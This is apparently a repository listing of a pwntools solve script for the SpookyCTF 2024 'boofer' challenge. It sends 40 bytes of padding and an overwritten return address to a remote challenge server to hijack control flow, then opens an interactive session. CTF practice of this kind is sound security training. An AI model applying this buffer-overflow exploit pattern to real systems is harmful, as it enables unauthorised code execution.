Files
ctfs/spookyctf2024/boofer/a.py
T
2024-10-28 10:03:40 +03:00

17 lines
261 B
Python

#!/usr/bin/python3
from pwn import *
context.binary = target = ELF("./B00fer", checksec=False)
# r = process()
r = remote("b00fer.niccgetsspooky.xyz", 9001)
# funcs
s = lambda a: r.sendline(a)
# buf
buf = b"A"*40
buf += p64(0x401227)
s(buf)
r.interactive()